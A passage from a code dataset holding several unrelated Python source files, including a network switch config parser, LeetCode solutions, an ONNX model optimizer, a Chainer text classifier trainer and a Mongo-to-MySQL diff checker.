config_dir\n # we build the list of ids, by selecting those files starting with \"Mac-\" and trimming the prefix \"Mac-\" and the extension\n switchIdList = map (lambda file:file[len(self.mac_tpl):len(file)-len(self.extension)],filter(lambda file:file.startswith(self.mac_tpl),os.listdir(\"./\"+config_dir))) \n \n # we build a list of switch parsers\n for id in switchIdList:\n self.switch_list[id] = SwitchGenerator(id,config_dir+self.span_tpl+id+self.extension,config_dir+self.mac_tpl+id+self.extension)\n\n def get_haskell_output(self,file):\n f = open(self.config_dir+file,'w')\n for switch in self.switch_list:\n f.write(self.switch_list[switch].gen_haskell_output()+'\\n') # python will convert \\n to os.linesep\n f.close()\n \n \nswitch = SwitchGenerator(\"0\",\"configs/Span-1.txt\",\"configs/Mac-1.txt\")\nprint(switch.port_vlan)\nprint(switch.mac)\nprint(switch.gen_list(lambda x:x,[\"Test\",\"1\",\"2\"]))\nprint(switch.gen_str_list([\"Test\",\"1\",\"2\"]))\nprint(switch.gen_dictionary(switch.mac))\nprint(switch.gen_haskell_output())\ntopo = TopologyGenerator(\"configs/\")\ntopo.get_haskell_output(\"Topo.hs\")","sub_path":"PythonSwitchParser/[1-03-2014]SwitchGenerator.py","file_name":"[1-03-2014]SwitchGenerator.py","file_ext":"py","file_size_in_byte":5535,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"594551712","text":"class Solution:\n # @param candidates, a list of integers\n # @param target, integer\n # @return a list of lists of integers\n def combinationSum2(self, candidates, target):\n solution = []\n temp = []\n self.sumHelper(candidates, target, temp, solution) \n return solution\n def sumHelper(self, candidates, target, temp, solution):\n if sum(temp) == target:\n values = sorted(temp)\n if values not in solution:\n solution.append(values) # Be careful \n else:\n if sum(temp) < target: #Be careful with the judgement conditions\n for i in range(0, len(candidates)):\n if candidates[i] <= target:\n temp.append(candidates[i])\n self.sumHelper(candidates[i+1:], target, temp, solution)\n temp.pop()\n elif candidates[i] > target:\n continue\n","sub_path":"Python/combination_sum_ii.py","file_name":"combination_sum_ii.py","file_ext":"py","file_size_in_byte":966,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"43335717","text":"import pandas as pd\nimport numpy as np\nfrom datetime import timedelta\nimport multiprocessing as mp\nfrom pathos.multiprocessing import ProcessingPool as Pool\n\norders = pd.read_csv(\"data/orders.csv\")\nitems = pd.read_csv(\"data/items.csv\", sep=\"|\")\ninfos = pd.read_csv(\"data/infos.csv\", sep=\"|\")\n\norders[\"time\"] = pd.to_datetime(orders[\"time\"])\norders[\"date\"] = orders[\"time\"].dt.date\norders = orders.groupby([\"itemID\", \"date\"]).agg({\"order\": \"sum\", \"salesPrice\": \"sum\"})\norders.reset_index(inplace=True)\n\ndef func(df):\n for j in range(1, 10464):\n for i in range(0, 182):\n if len(df[(df[\"date\"] == (pd.to_datetime(\"2018-01-01\") + timedelta(days=(i)))) & (df[\"itemID\"] == j)]) == 0:\n df.loc[len(df)] = [j, (pd.to_datetime(\"2018-01-01\") + timedelta(days=(i))), 0, 0]\n print(len(df))\n\ncores = mp.cpu_count()\n\ncores = mp.cpu_count()\n\ndf_split = np.array_split(orders, cores, axis=0)\n\n# create the multiprocessing pool\npool = Pool(cores)\n\n# process the DataFrame by mapping function to each df across the pool\ndf_out = np.vstack(pool.map(func, df_split))\n\n# close down the pool and join\npool.close()\npool.join()\npool.clear()\n \norderInfos = df_out.merge(infos, how='left', on='itemID')\n\nfullData = orderInfos.merge(items, how='left', on='itemID')\n\nfullData.to_csv('data/trainAllDays.csv', index=False)","sub_path":"parallelAllDays.py","file_name":"parallelAllDays.py","file_ext":"py","file_size_in_byte":1337,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"119297958","text":"from django.urls import path\n\nfrom accounts import views\nfrom rest_auth import views as auth_views\n\napp_name = \"accounts\"\n\nurlpatterns = [\n # kakao login\n path('login/kakao/', views.kakao_login, name='kakao_login'),\n # default login\n path(\"login/\", auth_views.LoginView.as_view(), name=\"login\"),\n path(\"logout/\", auth_views.LogoutView.as_view(), name=\"logout\"),\n\n path(\"signup/\", views.SignupView.as_view(), name=\"signup\"),\n # path(\"login/\", obtain_jwt_token, name=\"login\"),\n\n path(\"chat/list/\", views.ChattingView.as_view(), name=\"chat_list\"),\n\n path(\"suggestion/\", views.SuggestionView.as_view(), name=\"suggestion\"),\n path(\"follow/\", views.followView, name=\"follow\"),\n path(\"unfollow/\", views.unFollowView, name=\"unfollow\"),\n path(\"/\", views.UserView.as_view(), name=\"my\"),\n path(\n \"profile//\", views.ProfilePageView.as_view(), name=\"profile_page\"\n ),\n path(\n \"profile//edit/\",\n views.ProfileEditView.as_view(),\n name=\"profile_edit\",\n ),\n]\n","sub_path":"backend/accounts/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1060,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"524288057","text":"# https://leetcode.com/problems/find-numbers-with-even-number-of-digits/\n\ninput1 = [12, 345, 2, 6, 7896]\ninput2 = [555, 901, 482, 1771]\n\n\ndef count_even(input):\n counter = 0\n for integer in input:\n if len(str(integer)) % 2 == 0:\n counter += 1\n return print(counter)\n\n\ncount_even(input1)\ncount_even(input2)\n","sub_path":"LeetCode/Easy/83.7% Find Numbers With Even Number Of Digits.py","file_name":"83.7% Find Numbers With Even Number Of Digits.py","file_ext":"py","file_size_in_byte":333,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"168756059","text":"# Licensed to the Apache Software Foundation (ASF) under one\n# or more contributor license agreements. See the NOTICE file\n# distributed with this work for additional information\n# regarding copyright ownership. The ASF licenses this file\n# to you under the Apache License, Version 2.0 (the\n# \"License\"); you may not use this file except in compliance\n# with the License. You may obtain a copy of the License at\n\n# http://www.apache.org/licenses/LICENSE-2.0\n\n# Unless required by applicable law or agreed to in writing,\n# software distributed under the License is distributed on an\n# \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n# KIND, either express or implied. See the License for the\n# specific language governing permissions and limitations\n# under the License.\n\n\"\"\"\nClassifies active elements with a \"size score\" and then clicks some element with average size.\n\"\"\"\n\nfrom random import choice\nfrom typing import Dict\n\nimport webtraversallibrary as wtl\nfrom webtraversallibrary.actions import Click\n\nfrom .util import parse_cli_args\n\n\n@wtl.single_tab\ndef policy(_, view: wtl.View) -> wtl.Action:\n return choice(view.actions.by_type(Click).by_score(\"size__average\"))\n\n\ndef size_classifier_func(elements: wtl.Elements, _) -> Dict[str, float]:\n # Computes a normalized size.\n # Note that this is not the simplest way of clicking the largest clickable element.\n\n largest_area = max(e.bounds.area for e in elements)\n\n def score(element):\n return element.bounds.area / largest_area\n\n return {\n \"big\": [(e, score(e)) for e in elements if score(e) > 0.75],\n \"average\": [(e, abs(0.5 - score(e))) for e in elements if 0.25 < score(e) <= 0.75],\n }\n\n\nif __name__ == \"__main__\":\n cli_args = parse_cli_args()\n\n workflow = wtl.Workflow(config=wtl.Config(cli_args.config), policy=policy, url=cli_args.url, output=cli_args.output)\n\n workflow.classifiers.add(wtl.ActiveElementFilter())\n\n workflow.classifiers.add(\n wtl.ElementClassifier(\n name=\"size\", subset=\"is_active\", highlight=0.5, action=Click, callback=size_classifier_func\n )\n )\n\n with workflow:\n workflow.run()\n","sub_path":"examples/size_scorer.py","file_name":"size_scorer.py","file_ext":"py","file_size_in_byte":2164,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"25550640","text":"import onnx\nimport onnx.utils\nfrom onnx import optimizer\nimport sys\nimport argparse\n\nfrom tools import eliminating\nfrom tools import fusing\nfrom tools import replacing\nfrom tools import other\nfrom tools import special\nfrom tools import combo\n# from tools import temp\n\ndef onnx2onnx_flow(m: onnx.ModelProto, disable_fuse_bn=False, bn_on_skip=False, bn_before_add=False, bgr=False, norm=False, rgba2yynn=False, eliminate_tail=False) -> onnx.ModelProto:\n \"\"\"Optimize the onnx.\n\n Args:\n m (ModelProto): the input onnx ModelProto\n disable_fuse_bn (bool, optional): do not fuse BN into Conv. Defaults to False.\n bn_on_skip (bool, optional): add BN operator on skip branches. Defaults to False.\n bn_before_add (bool, optional): add BN before Add node on every branches. Defaults to False.\n bgr (bool, optional): add an Conv layer to convert rgb input to bgr. Defaults to False.\n norm (bool, optional): add an Conv layer to add 0.5 tp the input. Defaults to False.\n rgba2yynn (bool, optional): add an Conv layer to convert rgb input to yynn . Defaults to False.\n eliminate_tail (bool, optional): remove the trailing NPU unsupported nodes. Defaults to False.\n\n Returns:\n ModelProto: the optimized onnx model object.\n \"\"\"\n # temp.weight_broadcast(m.graph)\n m = combo.preprocess(m, disable_fuse_bn)\n # temp.fuse_bias_in_consecutive_1x1_conv(m.graph)\n\n # Add BN on skip branch\n if bn_on_skip:\n other.add_bn_on_skip_branch(m.graph)\n elif bn_before_add:\n other.add_bn_before_add(m.graph)\n other.add_bn_before_activation(m.graph)\n\n # My optimization\n m = combo.common_optimization(m)\n # Special options\n if bgr:\n special.change_input_from_bgr_to_rgb(m)\n if norm:\n special.add_0_5_to_normalized_input(m)\n if rgba2yynn:\n special.add_rgb2yynn_node(m)\n\n # Remove useless last node\n if eliminate_tail:\n eliminating.remove_useless_last_nodes(m.graph)\n\n # Postprocessing\n m = combo.postprocess(m)\n return m\n\n# Main process\nif __name__ == \"__main__\":\n # Argument parser\n parser = argparse.ArgumentParser(description=\"Optimize an ONNX model for Kneron compiler\")\n parser.add_argument('in_file', help='input ONNX FILE')\n parser.add_argument('-o', '--output', dest='out_file', type=str, help=\"ouput ONNX FILE\")\n parser.add_argument('--bgr', action='store_true', default=False, help=\"set if the model is trained in BGR mode\")\n parser.add_argument('--norm', action='store_true', default=False, help=\"set if you have the input -0.5~0.5\")\n parser.add_argument('--rgba2yynn', action='store_true', default=False, help=\"set if the model has yynn input but you want to take rgba images\")\n parser.add_argument('--add-bn-on-skip', dest='bn_on_skip', action='store_true', default=False,\n help=\"set if you only want to add BN on skip branches\")\n parser.add_argument('--add-bn', dest='bn_before_add', action='store_true', default=False,\n help=\"set if you want to add BN before Add\")\n parser.add_argument('-t', '--eliminate-tail-unsupported', dest='eliminate_tail', action='store_true', default=False,\n help='whether remove the last unsupported node for hardware')\n parser.add_argument('--no-bn-fusion', dest='disable_fuse_bn', action='store_true', default=False,\n help=\"set if you have met errors which related to inferenced shape mismatch. This option will prevent fusing BatchNormailization into Conv.\")\n args = parser.parse_args()\n\n if args.out_file is None:\n outfile = args.in_file[:-5] + \"_polished.onnx\"\n else:\n outfile = args.out_file\n\n # onnx Polish model includes:\n # -- nop\n # -- eliminate_identity\n # -- eliminate_nop_transpose\n # -- eliminate_nop_pad\n # -- eliminate_unused_initializer\n # -- fuse_consecutive_squeezes\n # -- fuse_consecutive_transposes\n # -- fuse_add_bias_into_conv\n # -- fuse_transpose_into_gemm\n\n # Basic model organize\n m = onnx.load(args.in_file)\n\n m = onnx2onnx_flow(m, args.disable_fuse_bn, args.bn_on_skip, args.bn_before_add, args.bgr, args.norm, args.rgba2yynn, args.eliminate_tail)\n\n onnx.save(m, outfile)\n","sub_path":"optimizer_scripts/onnx2onnx.py","file_name":"onnx2onnx.py","file_ext":"py","file_size_in_byte":4297,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"303889184","text":"#!/usr/bin/evn python\n#-*- coding:utf-8 -*-\n\n#FileName: pfish.py\n#Date: 2018-08-26\n#E-mail:\n\n__Author__ = 'r00tk1t'\n\n\nimport logging\nimport sys\nimport time\nfrom _pfish import *\n\n\ndef main():\n logging.basicConfig(filename = 'pFishLog.log', level = logging.DEBUG, format = '%(asctime)s, %(message)s')\n CommandLineParser()\n starttime = time.time()\n\n logging.info(\"\")\n logging.info(\"Welcome to P-Fish version 1.0\")\n logging.info(\"\")\n\n logging.info('System:' + sys.platform)\n logging.info('Version: ' + sys.version)\n\n fileProcess = WalkPath()\n\n endtime = time.time()\n\n duration = endtime - starttime\n\n logging.info(\"Files Processed: \" + str(fileProcessed))\n logging.info(\"Elapsed Time: \" + str(duration) + \"seconds\")\n logging.info(\"\")\n logging.info(\"Program Terminated Normally\")\n logging.info(\"\")\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"pfish.py","file_name":"pfish.py","file_ext":"py","file_size_in_byte":881,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"110471045","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Time : 2018/1/27 上午3:53\n# @Author : wudizhangzhi\n\n\nimport requests\n\ntry:\n requests.packages.urllib3.disable_warnings()\nexcept ImportError:\n pass\nfrom user_agent import generate_user_agent\n\nfrom hupu.utils import getSortParam, get_android_id, get_random_Imei\nfrom hupu.api import logger\n\nlog = logger.getLogger(__name__)\n\nHUPU_API_VERSION = '7.1.15'\n\nMODE_LIST = ['live', 'news']\n\n\nclass SignSession(requests.Session): # 继承\n def request(self, method, url,\n params=None, data=None, headers=None, cookies=None, files=None,\n auth=None, timeout=None, allow_redirects=True, proxies=None,\n hooks=None, stream=None, verify=None, cert=None, json=None):\n if data:\n sign = getSortParam(**data)\n data.update({'sign': sign})\n if len(params) > 2:\n sign = getSortParam(**params)\n params.update({'sign': sign})\n return super(SignSession, self).request(method, url,\n params=params, data=data, headers=headers, cookies=cookies, files=files,\n auth=auth, timeout=timeout, allow_redirects=allow_redirects,\n proxies=proxies,\n hooks=hooks, stream=stream, verify=verify, cert=cert, json=json)\n\n\nclass Base(object):\n def __init__(self, **kwargs):\n self._kwargs = kwargs\n self.api_version = HUPU_API_VERSION\n # 初始化设备信息\n self.sess = self._init_session()\n\n self._user_info = {} # 用于存储用户信息\n\n def _init_session(self):\n sess = SignSession()\n headers = {\n 'User-Agent': generate_user_agent(os=('android',)) + ' kanqiu/{}.13305/7214 isp/-1 network/-1'.format(\n self.api_version),\n 'Content-Type': 'application/x-www-form-urlencoded',\n }\n sess.headers = headers\n sess.verify = False # 关闭ssl验证\n return sess\n\n @property\n def client(self):\n if not (hasattr(self, '_client') and self._client):\n setattr(self, '_client', get_random_Imei())\n return self._client\n\n @property\n def android_id(self):\n if not (hasattr(self, '_android_id') and self._android_id):\n setattr(self, '_android_id', get_android_id())\n return self._android_id","sub_path":"hupu/api/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":2481,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"271750516","text":"from django.contrib import admin\nfrom IMDB_user.models import MyCustomUser\n# Register your models here.\nfrom django.contrib.auth.admin import UserAdmin\n\n\n# Register your models here.\n\n\nclass CustomUserAdmin(UserAdmin):\n model = MyCustomUser\n\n fieldsets = (\n *UserAdmin.fieldsets,\n (\n 'User role',\n {\n 'fields': [\n 'displayname',\n 'profile_pic',\n 'bio',\n 'karma_score',\n 'watch_list',\n 'favorites_list'\n ]\n }\n )\n )\n\n\nadmin.site.register(MyCustomUser, CustomUserAdmin)\n","sub_path":"IMDB_user/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":674,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"50748653","text":"\n__author__ = \"Andre Merzky, Ole Weidner\"\n__copyright__ = \"Copyright 2012-2013, The SAGA Project\"\n__license__ = \"MIT\"\n\n\n\"\"\" Provides exception handling utilities and base classes.\n\"\"\"\n\nimport pdb\nimport sys\nimport traceback\n\ndef get_traceback (limit=1) :\n \"\"\" Returns the current stacktrace as string.\n \"\"\"\n\n limit += 2 # ignore local stack\n ret = \"\"\n\n stack = traceback.extract_stack ()\n frames = traceback.format_list (stack)\n\n # ignore last frames\n for i in range (0, limit) :\n del frames[-1]\n\n # dump frames into string\n for frame in frames :\n ret += str(frame)\n\n return ret\n\n\ndef breakpoint () :\n \"\"\" set a breakpoint\n \"\"\"\n pdb.pm()\n\n\n\n\nclass ExceptionBase(Exception):\n \"\"\" Base exception class. \n \"\"\"\n def __init__(self, message):\n Exception.__init__(self, message)\n self._message = message\n self._traceback = get_traceback()\n\n def get_traceback (self) :\n \"\"\" Return the full traceback for this exception.\n \"\"\"\n return self._traceback\n traceback = property (get_traceback) \n\n def __str__ (self) :\n return \"%s: %s\" % (self.__class__.__name__, self._message)\n\n\n @classmethod\n def _log (cls, logger, message, level='error'):\n \"\"\" this class method allows to log the exception message while\n constructing a SAGA exception, like::\n\n # raise an exception, no logging\n raise saga.IncorrectState (\"File is not open\")\n\n # raise an exception, log as error event (error level is default)\n raise saga.IncorrectState._log (self._logger, \"File is not open\")\n\n # raise an exception, log as warning event\n raise saga.IncorrectState._log (self._logger, \"File is not open\", level=warning)\n raise saga.IncorrectState._log (self._logger, \"File is not open\", warning) # same\n\n This way, the 'raise' remains clearly in the code, as that is the\n dominating semantics of the call.\n \"\"\"\n\n log_method = logger.error\n\n try :\n log_method = getattr (logger, level.lower())\n except :\n sys.stderr.write (\"unknown log level '%s'\" % level)\n\n log_method (\"%s: %s\" % (cls.__name__, message))\n\n return cls (message)\n\n\n# vim: tabstop=8 expandtab shiftwidth=4 softtabstop=4\n\n","sub_path":"saga/utils/exception.py","file_name":"exception.py","file_ext":"py","file_size_in_byte":2386,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"18083053","text":"import calculator \n\n\ndef get_calculation():\n user_calculation = \"\"\n while user_calculation not in [\"add\", \"subtract\", \"multiply\", \"divide\"]:\n user_calculation = input(\"what calculation would you like to perform: add, subtract, multiply or divide?\").strip().lower()\n return user_calculation\n\n\ndef get_numbers():\n user_numbers = []\n while len(user_numbers) != 2:\n user_numbers = input(\"Enter two comma-separated numbers:\").replace(\",\", \" \").split()\n return user_numbers\n\ndef main():\n calculation = get_calculation()\n numbers = get_numbers()\n response = calculator.calculate( calculation,numbers )\n print(response)\n\n# Do not delete\nif __name__ == '__main__':\n print(main())\n","sub_path":"S5-2/Labs/build_a_calculator.py","file_name":"build_a_calculator.py","file_ext":"py","file_size_in_byte":718,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"277867072","text":"import os\nimport sys\nimport argparse\nimport warnings\n\nimport chainer\nfrom chainer import training, Variable, iterators, optimizers, serializers\nfrom chainer.backends.cuda import get_device_from_id, to_cpu\nfrom chainer.training import extensions\nfrom chainer.datasets import split_dataset_random\nimport chainer.links as L\nimport chainer.cuda\n\nimport numpy as np\n\n# import nets\n# import nets_A\n# import nets_B\nimport nets_B_NoBN\nimport data\nfrom nlp_utils import convert_seq\nfrom my_utils import *\n\nimport pickle\n\nimport matplotlib\nmatplotlib.use('Agg')\n\n\ndef main():\n set_random_seed(0)\n\n parser = argparse.ArgumentParser(\n description='Document Classification Example')\n parser.add_argument('--batchsize', '-b', type=int, default=64,\n help='Number of documents in each mini-batch')\n parser.add_argument('--epoch', '-e', type=int, default=30,\n help='Number of training epochs')\n parser.add_argument('--gpu', '-g', type=int, default=-1,\n help='GPU ID (negative value indicates CPU)')\n parser.add_argument('--out', '-o', default='result',\n help='Directory to output the result')\n parser.add_argument('--unit', '-u', type=int, default=200,\n help='Number of units')\n parser.add_argument('--vocab', '-v', type=int, default=50000,\n help='Vocabulary size')\n parser.add_argument('--layer', '-l', type=int, default=1,\n help='Number of layers of LSMT')\n parser.add_argument('--dropout', '-d', type=float, default=0.4,\n help='Dropout rate')\n parser.add_argument('--gradclip', type=float, default=5,\n help='Gradient clipping threshold')\n parser.add_argument('--train_file', '-train', default='data/train.seg.csv',\n help='Trainig data file.')\n parser.add_argument('--test_file', '-test', default='data/test.seg.csv',\n help='Test data file.')\n parser.add_argument('--model', '-m', help='read model parameters from npz file')\n parser.add_argument('--vcb_file', '-vf',\n default='/mnt/gold/users/s18153/prjPyCharm/prjNLP_GPU/data/vocab_train_w_NoReplace.vocab_file',\n help='Vocabulary data file.')\n parser.add_argument('--case', '-c', default='original',\n help='Select NN Architecture.')\n parser.add_argument('--opt', default='sgd',\n help='Select Optimizer.')\n parser.add_argument('--dbg_on', action='store_true',\n help='No save, MiniTrain')\n args = parser.parse_args()\n print(args)\n # train_val = data.DocDataset(args.train_file, vocab_size=args.vocab)\n\n if os.path.exists(args.vcb_file): # args.vocab_fileの存在確認(作成済みの場合ロード)\n with open(args.vcb_file, 'rb') as f_vocab_data:\n train_val = pickle.load(f_vocab_data)\n if len(train_val.get_vocab()) != args.vocab:\n warnings.warn('vocab size incorrect (not implemented...)')\n else:\n train_val = data.DocDataset(args.train_file, vocab_size=args.vocab) # make vocab from training data\n with open(args.vcb_file, 'wb') as f_vocab_save:\n pickle.dump(train_val, f_vocab_save)\n\n if args.dbg_on:\n len_train_data = len(train_val)\n N = 100\n print('N', N)\n rnd_ind = np.random.permutation(range(len_train_data))[:N]\n train_val = train_val[rnd_ind]\n (train, valid) = split_dataset_random(train_val, 80, seed=0)\n else:\n (train, valid) = split_dataset_random(train_val, 4000, seed=0)\n print('train', len(train))\n print('valid', len(valid))\n\n train_iter = iterators.SerialIterator(train, args.batchsize)\n valid_iter = iterators.SerialIterator(valid, args.batchsize, repeat=False, shuffle=False)\n\n # test = data.DocDataset(args.test_file, train_val.get_vocab())\n # test_iter = iterators.SerialIterator(test, args.batchsize, repeat=False, shuffle=False)\n\n print('case', args.case)\n if args.case == 'original':\n print('originalで実行されます')\n result_path = 'result/original'\n model = L.Classifier(nets_B_NoBN.DocClassify(\n n_vocab=args.vocab+1, n_units=args.unit, n_layers=args.layer, n_out=4, dropout=args.dropout))\n elif args.case == 'bi':\n print('biで実行されます')\n result_path = 'result/bi'\n model = L.Classifier(nets_B_NoBN.DocClassifyBi(\n n_vocab=args.vocab+1, n_units=args.unit, n_layers=args.layer, n_out=4, dropout=args.dropout))\n elif args.case == 'bi2' or args.case == 'bi_adam_2layer' or args.case == 'bi2_adam_nobn':\n print('bi改良版')\n result_path = 'result/bi2'\n model = L.Classifier(\n nets_B_NoBN.DocClassifyBi2(n_vocab=args.vocab + 1, n_units=args.unit, n_layers=args.layer, n_out=4,\n dropout=args.dropout))\n else:\n warnings.warn('指定したケースは存在しません。デフォルトで実行します')\n result_path = 'result/sample_result'\n model = L.Classifier(nets_B_NoBN.DocClassify(n_vocab=args.vocab+1, n_units=args.unit, n_layers=args.layer,\n n_out=4, dropout=args.dropout))\n\n if args.gpu >= 0:\n chainer.cuda.get_device_from_id(args.gpu).use()\n # get_device_from_id(args.gpu).use()\n model.to_gpu()\n\n if args.opt == 'sgd':\n result_path += '_sgd'\n print('SGD')\n optimizer = optimizers.SGD(lr=0.01)\n elif args.opt == 'adam':\n result_path += '_adam'\n print('Adam')\n optimizer = optimizers.Adam()\n elif args.opt == 'bi_adam_2layer':\n result_path += '_adam_2layer'\n print('Adam')\n optimizer = optimizers.Adam()\n elif args.opt == 'bi2_adam_nobn':\n result_path += '_adam_nobn'\n print('Adam')\n optimizer = optimizers.Adam()\n else:\n print('指定なしのためSGDで実行')\n optimizer = optimizers.SGD(lr=0.01)\n optimizer.setup(model)\n optimizer.add_hook(chainer.optimizer.GradientClipping(args.gradclip))\n # optimizer.add_hook(chainer.optimizer.Lasso(0.01))\n\n updater = training.StandardUpdater(train_iter, optimizer, converter=convert_seq, device=args.gpu)\n\n print('save here:', result_path)\n trainer = training.Trainer(updater, (args.epoch, 'epoch'), out=result_path)\n trainer.extend(extensions.LogReport())\n if not args.dbg_on:\n trainer.extend(extensions.snapshot(filename='snapshot_epoch-{.updater.epoch}'))\n trainer.extend(extensions.Evaluator(valid_iter, model, converter=convert_seq, device=args.gpu), name='val')\n trainer.extend(extensions.PrintReport(['epoch', 'main/loss', 'main/accuracy', 'val/main/loss', 'val/main/accuracy', 'elapsed_time']))\n trainer.extend(extensions.ParameterStatistics(model.predictor.doc_enc, {'std': np.std}))\n trainer.extend(extensions.PlotReport(['main/loss', 'val/main/loss'], x_key='epoch', file_name='loss.png'))\n trainer.extend(extensions.PlotReport(['main/accuracy', 'val/main/accuracy'], x_key='epoch', file_name='accuracy.png'))\n trainer.extend(extensions.dump_graph('main/loss'))\n\n if args.model:\n serializers.load_npz(args.model, trainer)\n\n trainer.run()\n\n pass\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"scripts/train_C.py","file_name":"train_C.py","file_ext":"py","file_size_in_byte":7453,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"76030957","text":"from LinkedList import LinkedList\n\n\nclass HashSet:\n def __init__(self):\n self.count = 16 # Определяет количество индексов для hash set\n # инициализация списка из LinkedList в количестве count\n self.list = [LinkedList() for i in range(self.count)]\n self.__size = 0\n\n def add(self, element):\n indx = abs(hash(element)) % self.count\n head = self.list[indx].getFirst()\n # Идём до конца списка на конкретном индексе\n for i in range(self.list[indx].getSize()):\n # Если попытка добавить уже существующий элемент, просто выходим\n if element == head.getValue():\n return\n else:\n # иначе дальше движемся до конца списка\n head = head.getNext()\n # Если прошли по всему списку, то идентичных элементов нет и новый можно добавлять\n self.list[indx].add(element)\n self.__size += 1\n\n def getSize(self):\n return self.__size\n\n def inSet(self, element):\n indx = abs(hash(element)) % self.count\n head = self.list[indx].getFirst()\n for i in range(self.list[indx].getSize()):\n if element == head.getValue():\n return True\n else:\n head = head.getNext()\n return False\n\n def print(self):\n for i in range(self.count):\n print(str(i) + \" : \", end=\"\")\n head = self.list[i].getFirst()\n for j in range(self.list[i].getSize()):\n print(str(head.getValue()), end=\" \")\n head = head.getNext()\n print(\"\")\n\n","sub_path":"src/HashSet.py","file_name":"HashSet.py","file_ext":"py","file_size_in_byte":1857,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"599010261","text":"# -*- coding: utf-8 -*-\nimport os, sys, time\nimport datetime\nimport json\nimport pymongo\nfrom pymongo import MongoClient\n\nreload(sys)\nsys.setdefaultencoding(\"utf-8\")\nsys.path.append(os.path.join(os.path.split(os.path.realpath(__file__))[0], '../../../util'))\nimport config\nimport db\nimport loghelper\n\nsys.path.append(os.path.join(os.path.split(os.path.realpath(__file__))[0], '../../parser/util2'))\nimport parser_mysql_util\n\n#logger\nloghelper.init_logger(\"check_diff\", stream=True)\nlogger = loghelper.get_logger(\"check_diff\")\n\n\n\ndef insert_new_company(item, download_crawler):\n sourceCompanyId = parser_mysql_util.save_company(item[\"source_company\"], download_crawler)\n set_diff(\"source_company\", \"create\", sourceCompanyId)\n if item.has_key(\"source_artifact\"):\n for sartifact in item[\"source_artifact\"]:\n said = parser_mysql_util.save_artifact(sourceCompanyId, sartifact)\n set_diff(\"source_artifact\", \"create\", said)\n if item.has_key(\"source_company_name\"):\n for scompanyname in item[\"source_company_name\"]:\n scnid = parser_mysql_util.save_company_name(sourceCompanyId, scompanyname)\n set_diff(\"source_company_name\", \"create\", scnid)\n if item.has_key(\"source_mainbeianhao\"):\n for smainbeianhao in item[\"source_mainbeianhao\"]:\n parser_mysql_util.save_mainbeianhao(sourceCompanyId, smainbeianhao)\n if item.has_key(\"source_funding\"):\n for sfunding in item[\"source_funding\"]:\n sfid = parser_mysql_util.save_funding(sourceCompanyId, sfunding, download_crawler)\n set_diff(\"source_funding\", \"create\", sfid)\n if item.has_key(\"source_company_member\"):\n for scmember in item[\"source_company_member\"]:\n scmrid = parser_mysql_util.save_company_member_rel(sourceCompanyId, scmember, download_crawler)\n set_diff(\"source_company_member_rel\", \"create\", scmrid)\n return sourceCompanyId\n\nDIFF = {\n \"create\": 1,\n \"update\": 2,\n \"delete\": 3\n}\n\ndef check_item(source_mongo, source_mysql, items):\n for item in items:\n if source_mongo[item] is None:\n continue\n try:\n if source_mysql[item] is None and source_mongo[item].strip() != \"\":\n return \"update\"\n if source_mongo[item].strip() != source_mysql[item].strip():\n return \"update\"\n except:\n if source_mysql[item] is None and source_mongo[item] != \"\":\n return \"update\"\n if source_mongo[item] != source_mysql[item]:\n return \"update\"\n return None\n\ndef set_diff(table, diff, row_id, diff_position=None):\n conn = db.connect_torndb()\n diff_value = DIFF.get(diff)\n if diff_value is not None:\n if diff_position is None:\n sql = \"update \" + table + \" set diffResult=%s where id=%s\"\n conn.update(sql, diff_value, row_id)\n else:\n sql = \"update \" + table + \" set diffResult=%s, diffPosition=%s where id=%s\"\n conn.update(sql, diff_value, diff_position, row_id)\n conn.close()\n\ndef check_diff(source, sourceId, download_crawler):\n mongo = db.connect_mongo()\n collection_company = mongo.source.company\n sourcecompany = collection_company.find_one({\"source\": source, \"sourceId\": sourceId})\n mongo.close()\n if sourcecompany is None:\n return None\n\n if sourcecompany.has_key(\"source_company\") is False:\n return None\n\n conn = db.connect_torndb()\n\n source_company = conn.get(\"select * from source_company where source=%s and sourceId=%s limit 1\", source, sourceId)\n\n # Check new company <-> add all data into mysql and waitfor review\n if source_company is None:\n logger.info(\"Insert New source_company for source: %s, sourceId: %s\", source, sourceId)\n new_sourceCompanyId = insert_new_company(sourcecompany, download_crawler)\n conn.close()\n return new_sourceCompanyId\n\n sourceCompanyId = source_company[\"id\"]\n\n update = None\n #Check basic info for \"update\"\n if sourcecompany.has_key(\"source_company\"):\n scompany = sourcecompany[\"source_company\"]\n diff = check_item(scompany, source_company, [\"name\", \"fullName\", \"description\", \"companyStatus\", \"locationId\", \"establishDate\"])\n if diff is not None:\n logger.info(\"Basic info changed for source: %s, sourceId: %s\", source, sourceId)\n set_diff(\"source_company\", diff, source_company[\"id\"])\n update = diff\n\n #Check artifact\n if sourcecompany.has_key(\"source_artifact\"):\n sartifacts = 